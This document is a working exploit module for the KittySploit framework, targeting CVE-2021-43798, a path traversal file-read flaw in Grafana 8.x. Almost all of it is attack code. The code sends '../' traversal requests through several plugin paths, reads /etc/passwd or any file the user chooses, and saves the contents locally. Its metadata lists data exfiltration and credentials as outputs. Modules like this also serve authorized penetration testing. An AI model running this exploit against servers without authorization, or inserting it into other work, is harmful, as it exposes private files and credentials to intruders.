Grafana Plugin Path Traversal LFI (CVE-2021-43798)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Grafana plugin path traversal LFI (CVE-2021-43798)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Grafana Plugin Path Traversal LFI (CVE-2021-43798)',
        'description': (
            'Exploits CVE-2021-43798 in Grafana 8.x: directory traversal via '
            '/public/plugins/NAME/ allows reading arbitrary local files.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-43798'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-43798',
        ],
        'tags': ['grafana', 'lfi', 'file-read', 'kev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2021_43798_detect'],
            },
        },
    }

    plugin = OptString('alertlist', 'Installed plugin folder name', required=False)
    file_path = OptString('/etc/passwd', 'Absolute path to read', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _traversal_path(self, remote: str) -> str:
        plugin = str(self.plugin or 'alertlist').strip() or 'alertlist'
        depth = '../' * 20
        remote = remote if remote.startswith('/') else f'/{remote}'
        return f'/public/plugins/{plugin}/{depth}{remote.lstrip("/")}'

    def execute(self, remote_path: str) -> str:
        primary = str(self.plugin or 'alertlist').strip() or 'alertlist'
        for plugin in (primary, 'prometheus', 'grafana-clock-panel'):
            path = f'/public/plugins/{plugin}/{"../" * 20}{remote_path.lstrip("/")}'
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200 and (r.text or '').strip():
                return r.text or ''
        return ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:', body or '') or 'grafana.sock' in (body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2021-43798 file read confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Traversal did not return file content', 'confidence': 'medium'}

    def run(self):
        target = str(self.file_path or '/etc/passwd')
        print_status(f'Reading {target} ...')
        body = self.execute(target)
        if not body:
            print_error('Empty response')
            return False
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Wrote {len(body)} bytes to {out}')
        else:
            print_success(body[:4000])
        return True